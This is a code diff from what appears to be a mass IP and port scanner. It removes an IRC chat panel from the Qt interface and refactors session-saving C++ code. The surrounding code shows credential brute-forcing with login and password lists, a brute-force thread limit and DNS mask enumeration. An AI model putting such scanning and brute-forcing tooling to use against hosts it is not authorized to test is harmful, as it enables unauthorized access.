<gradientstop position="1.000000000000000">
<color alpha="255">
<red>0</red>
<green>0</green>
<blue>0</blue>
</color>
</gradientstop>
</gradient>
</brush>
</colorrole>
</inactive>
<disabled>
<colorrole role="Button">
<brush brushstyle="LinearGradientPattern">
<gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode">
<gradientstop position="0.000000000000000">
<color alpha="255">
<red>16</red>
<green>16</green>
<blue>16</blue>
</color>
</gradientstop>
<gradientstop position="1.000000000000000">
<color alpha="255">
<red>0</red>
<green>0</green>
<blue>0</blue>
</color>
</gradientstop>
</gradient>
</brush>
</colorrole>
<colorrole role="Base">
<brush brushstyle="LinearGradientPattern">
<gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode">
<gradientstop position="0.000000000000000">
<color alpha="255">
<red>16</red>
<green>16</green>
<blue>16</blue>
</color>
</gradientstop>
<gradientstop position="1.000000000000000">
<color alpha="255">
<red>0</red>
<green>0</green>
<blue>0</blue>
</color>
</gradientstop>
</gradient>
</brush>
</colorrole>
<colorrole role="Window">
<brush brushstyle="LinearGradientPattern">
<gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode">
<gradientstop position="0.000000000000000">
<color alpha="255">
<red>16</red>
<green>16</green>
<blue>16</blue>
</color>
</gradientstop>
<gradientstop position="1.000000000000000">
<color alpha="255">
<red>0</red>
<green>0</green>
<blue>0</blue>
</color>
</gradientstop>
</gradient>
</brush>
</colorrole>
</disabled>
</palette>
</property>
<property name="styleSheet">
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string>
</property>
<widget class="QLineEdit" name="ircServerBox">
<property name="geometry">
<rect>
<x>83</x>
<y>30</y>
<width>163</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);</string>
</property>
<property name="text">
<string>addr.ne.jp</string>
</property>
<property name="maxLength">
<number>128</number>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
<property name="placeholderText">
<string>IRC server here</string>
</property>
</widget>
<widget class="QLineEdit" name="shoutBox">
<property name="geometry">
<rect>
<x>10</x>
<y>705</y>
<width>469</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string/>
</property>
<property name="styleSheet">
<string notr="true">color:rgb(124, 124, 124);background-color: rgb(36, 36, 36);border:1px solid rgb(226, 226, 226);</string>
</property>
<property name="text">
<string/>
</property>
<property name="maxLength">
<number>256</number>
</property>
<property name="alignment">
<set>Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter</set>
</property>
<property name="placeholderText">
<string/>
</property>
</widget>
<widget class="QLineEdit" name="serverPortBox">
<property name="geometry">
<rect>
<x>250</x>
<y>30</y>
<width>82</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);</string>
</property>
<property name="text">
<string>6667</string>
</property>
<property name="maxLength">
<number>5</number>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
<property name="placeholderText">
<string>IRC port here</string>
</property>
</widget>
<widget class="QLineEdit" name="ircNickBox">
<property name="geometry">
<rect>
<x>369</x>
<y>30</y>
<width>117</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);</string>
</property>
<property name="text">
<string/>
</property>
<property name="maxLength">
<number>16</number>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
<property name="placeholderText">
<string>Your nick here</string>
</property>
</widget>
<widget class="QPushButton" name="IRCConnectBut">
<property name="geometry">
<rect>
<x>220</x>
<y>85</y>
<width>75</width>
<height>23</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="text">
<string>Connect</string>
</property>
</widget>
<widget class="QTextBrowser" name="ircText">
<property name="geometry">
<rect>
<x>10</x>
<y>140</y>
<width>469</width>
<height>556</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: #AFAFAF;background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);</string>
</property>
<property name="locale">
<locale language="Chinese" country="China"/>
</property>
<property name="frameShape">
<enum>QFrame::NoFrame</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Plain</enum>
</property>
<property name="undoRedoEnabled">
<bool>false</bool>
</property>
<property name="readOnly">
<bool>true</bool>
</property>
<property name="html">
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property>
<property name="acceptRichText">
<bool>true</bool>
</property>
<property name="cursorWidth">
<number>5</number>
</property>
<property name="textInteractionFlags">
<set>Qt::TextBrowserInteraction</set>
</property>
<property name="openExternalLinks">
<bool>true</bool>
</property>
<property name="openLinks">
<bool>false</bool>
</property>
</widget>
<widget class="QLineEdit" name="ircProxy">
<property name="geometry">
<rect>
<x>83</x>
<y>55</y>
<width>163</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);</string>
</property>
<property name="text">
<string/>
</property>
<property name="maxLength">
<number>128</number>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
<property name="placeholderText">
<string>Proxy here</string>
</property>
</widget>
<widget class="QLineEdit" name="ircProxyPort">
<property name="geometry">
<rect>
<x>250</x>
<y>55</y>
<width>82</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);</string>
</property>
<property name="text">
<string/>
</property>
<property name="maxLength">
<number>5</number>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
<property name="placeholderText">
<string>Proxy port here</string>
</property>
</widget>
<widget class="QPushButton" name="IRCCheckProxyBut">
<property name="geometry">
<rect>
<x>337</x>
<y>55</y>
<width>149</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="text">
<string>Check proxy</string>
</property>
</widget>
<widget class="QTextBrowser" name="ircRaw">
<property name="geometry">
<rect>
<x>10</x>
<y>140</y>
<width>469</width>
<height>556</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:rgb(125, 125, 125);</string>
</property>
<property name="locale">
<locale language="Chinese" country="China"/>
</property>
<property name="frameShape">
<enum>QFrame::NoFrame</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Plain</enum>
</property>
<property name="undoRedoEnabled">
<bool>false</bool>
</property>
<property name="readOnly">
<bool>true</bool>
</property>
<property name="html">
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property>
<property name="acceptRichText">
<bool>true</bool>
</property>
<property name="cursorWidth">
<number>5</number>
</property>
<property name="textInteractionFlags">
<set>Qt::TextBrowserInteraction</set>
</property>
<property name="openExternalLinks">
<bool>true</bool>
</property>
<property name="openLinks">
<bool>false</bool>
</property>
</widget>
<widget class="QPushButton" name="nickShowBut">
<property name="geometry">
<rect>
<x>481</x>
<y>140</y>
<width>16</width>
<height>556</height>
</rect>
</property>
<property name="toolTip">
<string>Stalkers online</string>
</property>
<property name="whatsThis">
<string>Stalkers online</string>
</property>
<property name="styleSheet">
<string notr="true">border: 1px solid rgb(216, 216, 216);
color: rgb(216, 216, 216);
background-color: #000000;</string>
</property>
<property name="text">
<string notr="true">&lt;</string>
</property>
</widget>
<widget class="QListWidget" name="nickList">
<property name="geometry">
<rect>
<x>329</x>
<y>145</y>
<width>147</width>
<height>0</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">background-color: rgba(0, 0, 0, 0.5);
color: rgb(212, 212, 212);</string>
</property>
<property name="frameShape">
<enum>QFrame::Panel</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Plain</enum>
</property>
<property name="resizeMode">
<enum>QListView::Adjust</enum>
</property>
<property name="sortingEnabled">
<bool>true</bool>
</property>
</widget>
<widget class="QLineEdit" name="topicLine">
<property name="geometry">
<rect>
<x>44</x>
<y>115</y>
<width>435</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<pointsize>7</pointsize>
</font>
</property>
<property name="styleSheet">
<string notr="true">background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:orange;</string>
</property>
<property name="text">
<string/>
</property>
<property name="maxLength">
<number>256</number>
</property>
</widget>
<widget class="QPushButton" name="IRCUTFMode">
<property name="geometry">
<rect>
<x>440</x>
<y>80</y>
<width>48</width>
<height>12</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Codepage</string>
</property>
<property name="whatsThis">
<string>Codepage</string>
</property>
<property name="styleSheet">
<string notr="true">background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);
color: rgb(0, 214, 0);</string>
</property>
<property name="text">
<string>UTF-8</string>
</property>
</widget>
<widget class="QPushButton" name="IRCCP1251Mode">
<property name="geometry">
<rect>
<x>392</x>
<y>80</y>
<width>48</width>
<height>12</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Codepage</string>
</property>
<property name="whatsThis">
<string>Codepage</string>
</property>
<property name="styleSheet">
<string notr="true">background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);
color: rgb(71, 71, 71);</string>
</property>
<property name="text">
<string> CP-1251</string>
</property>
</widget>
<widget class="QLabel" name="labelIPRange_2">
<property name="geometry">
<rect>
<x>20</x>
<y>30</y>
<width>56</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
<pointsize>8</pointsize>
<weight>50</weight>
<italic>false</italic>
<bold>false</bold>
<kerning>false</kerning>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>IRC SERVER</string>
</property>
</widget>
<widget class="QLabel" name="labelIPRange_3">
<property name="geometry">
<rect>
<x>10</x>
<y>55</y>
<width>68</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
<pointsize>8</pointsize>
<weight>50</weight>
<italic>false</italic>
<bold>false</bold>
<kerning>false</kerning>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>PROXY&amp;PORT</string>
</property>
</widget>
<widget class="QLabel" name="labelIPRange_4">
<property name="geometry">
<rect>
<x>340</x>
<y>30</y>
<width>27</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
<pointsize>8</pointsize>
<weight>50</weight>
<italic>false</italic>
<bold>false</bold>
<kerning>false</kerning>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>NICK</string>
</property>
</widget>
<widget class="QLabel" name="labelIPRange_5">
<property name="geometry">
<rect>
<x>10</x>
<y>115</y>
<width>31</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
<pointsize>8</pointsize>
<weight>50</weight>
<italic>false</italic>
<bold>false</bold>
<kerning>false</kerning>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>TOPIC</string>
</property>
</widget>
<zorder>nickList</zorder>
<zorder>ircRaw</zorder>
<zorder>ircServerBox</zorder>
<zorder>shoutBox</zorder>
<zorder>serverPortBox</zorder>
<zorder>ircNickBox</zorder>
<zorder>IRCConnectBut</zorder>
<zorder>ircText</zorder>
<zorder>ircProxy</zorder>
<zorder>ircProxyPort</zorder>
<zorder>IRCCheckProxyBut</zorder>
<zorder>nickShowBut</zorder>
<zorder>topicLine</zorder>
<zorder>IRCUTFMode</zorder>
<zorder>IRCCP1251Mode</zorder>
<zorder>labelIPRange_2</zorder>
<zorder>labelIPRange_3</zorder>
<zorder>labelIPRange_4</zorder>
<zorder>labelIPRange_5</zorder>
</widget>
<widget class="QWidget" name="widgetJOB" native="true"> <widget class="QWidget" name="widgetJOB" native="true">
<property name="geometry"> <property name="geometry">
<rect> <rect>
@ -4016,34 +3197,6 @@ color: rgb(71, 71, 71);</string>
<string>:Dataflow</string> <string>:Dataflow</string>
</property> </property>
</widget> </widget>
<widget class="QPushButton" name="IRCModeBut">
<property name="geometry">
<rect>
<x>340</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
<pointsize>8</pointsize>
</font>
</property>
<property name="toolTip">
<string>Darknet IRC</string>
</property>
<property name="whatsThis">
<string>Darknet IRC</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:IRC</string>
</property>
</widget>
<widget class="QPushButton" name="JobModeBut"> <widget class="QPushButton" name="JobModeBut">
<property name="geometry"> <property name="geometry">
<rect> <rect>
@ -4072,42 +3225,8 @@ color: rgb(71, 71, 71);</string>
<string>:Jobs</string> <string>:Jobs</string>
</property> </property>
</widget> </widget>
<widget class="QPushButton" name="IRCModeChangerBut">
<property name="enabled">
<bool>true</bool>
</property>
<property name="geometry">
<rect>
<x>290</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
<pointsize>8</pointsize>
</font>
</property>
<property name="toolTip">
<string>Raw or normal log view</string>
</property>
<property name="whatsThis">
<string>Raw or normal log view</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:IRC raw</string>
</property>
</widget>
<zorder>widget</zorder> <zorder>widget</zorder>
<zorder>widgetJOB</zorder> <zorder>widgetJOB</zorder>
<zorder>widgetIRC</zorder>
<zorder>IRCModeChangerBut</zorder>
<zorder>IRCModeBut</zorder>
<zorder>JobModeBut</zorder> <zorder>JobModeBut</zorder>
<zorder>DataflowModeBut</zorder> <zorder>DataflowModeBut</zorder>
</widget> </widget>

View File

@ -27,12 +27,12 @@ int ipsstart[4], ipsend[4],
overallPorts, flCounter, octet[4]; overallPorts, flCounter, octet[4];
int BA = 0; int BA = 0;
int gPingTimeout = 1; int gPingTimeout = 1;
int gMaxBrutingThreads = 200;
unsigned int Activity = 0; unsigned int Activity = 0;
unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL;
double ips = 0; double ips = 0;
char top_level_domain[128] = {0}; char top_level_domain[128] = {0};
char endIP2[128] = {0};
char **GlobalNegatives = 0; char **GlobalNegatives = 0;
char **loginLst, **passLst; char **loginLst, **passLst;
char **wfLoginLst, **wfPassLst; char **wfLoginLst, **wfPassLst;
@ -190,21 +190,7 @@ void _SaveBackupToFile()
if(strlen(endStr) > 0) if(strlen(endStr) > 0)
{ {
strcpy(saveStr, "[SESSION]:"); sprintf(saveStr, "[SESSION]:%d %s %s %d %s\n", gMode, endStr, (gMode ? top_level_domain : ""), gThreads, gPorts);
strcat(saveStr, std::to_string(gMode).c_str());
strcat(saveStr, " ");
strcat(saveStr, endStr);
if(gMode == 1)
{
strcat(saveStr, " ");
strcat(saveStr, top_level_domain);
};
strcat(saveStr, " ");
strcat(saveStr, std::to_string(gThreads).c_str());
strcat(saveStr, " ");
strcat(saveStr, gPorts);
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
}; };
@ -233,84 +219,42 @@ void _SaveBackupToFile()
else stt->doEmitionRedFoundData("[_saver] Cannot open file."); else stt->doEmitionRedFoundData("[_saver] Cannot open file.");
}; };
strcpy(saveStr, "[SESSION]:"); sprintf(saveStr, "[SESSION]:%d RESTORE_IMPORT_SESSION %d %s\n", gMode, gThreads, gPorts);
strcat(saveStr, std::to_string(gMode).c_str());
strcat(saveStr, " RESTORE_IMPORT_SESSION");
strcat(saveStr, " ");
strcat(saveStr, std::to_string(gThreads).c_str());
strcat(saveStr, " ");
strcat(saveStr, gPorts);
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
}; };
strcpy(saveStr, "[NDBSERVER]:"); sprintf(saveStr, "[NDBSERVER]:%s\n", trcSrv);
strcat(saveStr, trcSrv);
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[NDBSCRIPT]:"); sprintf(saveStr, "[NDBSCRIPT]:%s\n", trcScr);
strcat(saveStr, trcScr);
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[NDBPORT]:"); sprintf(saveStr, "[NDBPORT]:%s\n", trcSrvPortLine);
strcat(saveStr, trcSrvPortLine);
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[PROXY]:"); sprintf(saveStr, "[PROXY]:%s\n", trcProxy);
strcat(saveStr, trcProxy);
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[PROXYPORT]:"); sprintf(saveStr, "[PROXYPORT]:%s\n", trcPort);
strcat(saveStr, trcPort);
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[IRCSERVER]:"); sprintf(saveStr, "[PING]:%s\n", gPingNScan ? "true" : "false");
strcat(saveStr, ircServer); strcat(saveBuffer, saveStr);
strcat(saveStr, "\n"); ZeroMemory(saveStr, sizeof(saveStr));
strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[IRCPORT]:"); sprintf(saveStr, "[SHUFFLE]:%s\n", gShuffle ? "true" : "false");
strcat(saveStr, ircPort); strcat(saveBuffer, saveStr);
strcat(saveStr, "\n"); ZeroMemory(saveStr, sizeof(saveStr));
strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[IRCPROXY]:"); sprintf(saveStr, "[NSTRACK]:%s\n", trackerOK ? "true" : "false");
strcat(saveStr, ircProxy); strcat(saveBuffer, saveStr);
strcat(saveStr, "\n"); ZeroMemory(saveStr, sizeof(saveStr));
strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[IRCPROXYPORT]:");
strcat(saveStr, ircProxyPort);
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[IRCNICK]:");
strcat(saveStr, ircNick);
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[PING]:");
strcat(saveStr, gPingNScan ? "true" : "false");
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr));
sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout); sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout);
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
@ -408,7 +352,7 @@ void _tracker() {
while(true) { while(true) {
while(!trackerOK) Sleep(1000); while(!trackerOK) Sleep(1000);
if(globalScanFlag == false && jsonArr->size() == 0) break; if(!globalScanFlag && jsonArr->size() == 0) break;
char rBuffT[250000] = {0}; char rBuffT[250000] = {0};
char *msg = new char[4096]; char *msg = new char[4096];
ZeroMemory(msg, sizeof(*msg)); ZeroMemory(msg, sizeof(*msg));
@ -563,7 +507,7 @@ void _tracker() {
while(true) while(true)
{ {
if(globalScanFlag == false && jsonArr->size() == 0) break; if(!globalScanFlag && jsonArr->size() == 0) break;
if(!trackerOK) { if(!trackerOK) {
Sleep(1000); Sleep(1000);
continue; continue;
@ -774,6 +718,38 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) {
return gTargets; return gTargets;
} }
unsigned char tl(unsigned char d)
{
if(d >= 192 && d <= 223)
{
return (unsigned char)(d + 32);
}
else
{
return tolower(d);
};
}
std::string toLowerStr(const char *str)
{
if(str != NULL) {
int tsz = strlen(str);
char *strr = new char[tsz+1];
ZeroMemory(strr, tsz);
for (int i = 0; i < tsz; i++)
{
strr[i] = tl(str[i]);
};
memset(strr + tsz, '\0', 1);
std::string tstr = std::string(strr);
delete []strr;
return tstr;
} else return "";
}
void _connect() { void _connect() {
string ip = ""; string ip = "";
while (globalScanFlag) { while (globalScanFlag) {
@ -797,7 +773,7 @@ void _connect() {
ConInc(); ConInc();
for (int i = 0; i <= overallPorts; ++i) for (int i = 0; i <= overallPorts; ++i)
{ {
if (globalScanFlag == false) break; if (!globalScanFlag) break;
if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break; if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break;
}; };
ConDec(); ConDec();
@ -805,49 +781,39 @@ void _connect() {
} }
} }
void verboseProgress(long long unsigned int target, const char *ip) { inline void progressOutput(long long unsigned int target) {
char targetNPers[128] = {0}; char targetNPers[128] = {0};
float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0);
stt->doEmitionIPRANGE(QString(ip)); sprintf(targetNPers, "%Lu (%.1f%%)", target, percent);
strcpy(currentIP, ip); stt->doEmitionTargetsLeft(QString(targetNPers));
//sprintf(targetNPers, "%Lu (%.1f%%)", target, percent);
//stt->doEmitionTargetsLeft(QString(targetNPers));
sprintf(metaTargets, "%Lu", target); sprintf(metaTargets, "%Lu", target);
sprintf(metaPercent, "%.1f", sprintf(metaPercent, "%.1f",
percent); percent);
} }
void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD) { void verboseProgress(long long unsigned int target, const char *ip) {
char targetNPers[128] = { 0 }; stt->doEmitionIPRANGE(QString(ip));
float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0); strcpy(currentIP, ip);
progressOutput(target);
}
void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD, const char *mask) {
stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); stt->doEmitionIPRANGE(QString(ip) + QString(TLD));
strcpy(currentIP, ip); strcpy(currentIP, mask);
progressOutput(target);
//sprintf(targetNPers, "%Lu (%.1f%%)", target, percent);
//stt->doEmitionTargetsLeft(QString(targetNPers));
sprintf(metaTargets, "%Lu", target);
sprintf(metaPercent, "%.1f",
percent);
} }
void _passLoginLoader() { void _passLoginLoader() {
MaxLogin = 0; MaxLogin = 0;
MaxPass = 0; MaxPass = 0;
FILE *loginList;
FILE *passList;
char buffFG[32] = {0}; char buffFG[32] = {0};
int i = 0; int i = 0;
loginList = fopen("login.txt", "r"); FILE *loginList = fopen("login.txt", "r");
passList = fopen("pass.txt", "r"); FILE *passList = fopen("pass.txt", "r");
if(passList != NULL && loginList != NULL) if(passList != NULL && loginList != NULL)
{ {
@ -1898,7 +1864,6 @@ int ParseArgs(int argc, char *argv[]) {
}; };
strcpy(saveEndIP, gRange); strcpy(saveEndIP, gRange);
strcpy(endIP2, gRange);
strcpy(finalIP, strstr(gRange, "-") + 1); strcpy(finalIP, strstr(gRange, "-") + 1);
} }
else if(gMode == 1) else if(gMode == 1)
@ -1906,14 +1871,12 @@ int ParseArgs(int argc, char *argv[]) {
if(strstr(argv[2], "/") != NULL) if(strstr(argv[2], "/") != NULL)
{ {
strcpy(gRange, argv[2]); strcpy(gRange, argv[2]);
strcpy(saveEndIP, argv[2]); strcpy(saveEndIP, argv[2]);
strcpy(endIP2, argv[2]);
} }
else else
{ {
strcpy(gRange, argv[2]); strcpy(gRange, argv[2]);
strcpy(saveEndIP, gRange); strcpy(saveEndIP, gRange);
strcpy(endIP2, gRange);
}; };
}; };
@ -2037,8 +2000,9 @@ int _getChunkCount(char *data) {
} }
int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
if(strstr(mask, "[") != NULL) if(strstr(mask, "[") != NULL)
{ {
char maskEnd[1024] = {0}; char maskEnd[1024] = {0};
char maskRes[1024] = {0}; char maskRes[1024] = {0};
char *ptr1 = strstr(mask, "["); char *ptr1 = strstr(mask, "[");
@ -2069,17 +2033,14 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
int szMask = strlen(mask); int szMask = strlen(mask);
int szOffset = startPosition + 2; int szOffset = startPosition + 2;
if(szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1); if(szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1);
else else ZeroMemory(maskEnd, sizeof(maskEnd));;
{
ZeroMemory(maskEnd, sizeof(maskEnd));
};
char maskSaver[128] = {0}; char maskSaver[128] = {0};
if(firstPos != -1 && secondPos != -1) if(firstPos != -1 && secondPos != -1)
{ {
for(int i = firstPos; i <= secondPos; ++i) for(int i = firstPos; i <= secondPos; ++i)
{ {
if(globalScanFlag == false) break; if(!globalScanFlag) break;
strcpy(maskSaver, saveMask); strcpy(maskSaver, saveMask);
strcat(maskSaver, maskEntry); strcat(maskSaver, maskEntry);
@ -2098,14 +2059,13 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
} }
else else
{ {
strcpy(endIP2, saveMask); strcpy(currentIP, saveMask);
while(cons >= gThreads && globalScanFlag) Sleep(300); while(cons >= gThreads && globalScanFlag) Sleep(300);
if(globalScanFlag == false) return 0; if(!globalScanFlag) return 0;
string res = string(mask); verboseProgressDNS(--gTargets, mask, top_level_domain, saveMask);
verboseProgressDNS(--gTargets, res.c_str(), top_level_domain); string res = string(mask) + string(top_level_domain);
res += string(top_level_domain);
++indexIP; ++indexIP;
@ -2124,9 +2084,6 @@ void runAuxiliaryThreads() {
int startScan(char* args) { int startScan(char* args) {
curl_global_init(CURL_GLOBAL_ALL); curl_global_init(CURL_GLOBAL_ALL);
SSL_library_init();
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */
horLineFlag = false; horLineFlag = false;
flCounter = 0; flCounter = 0;
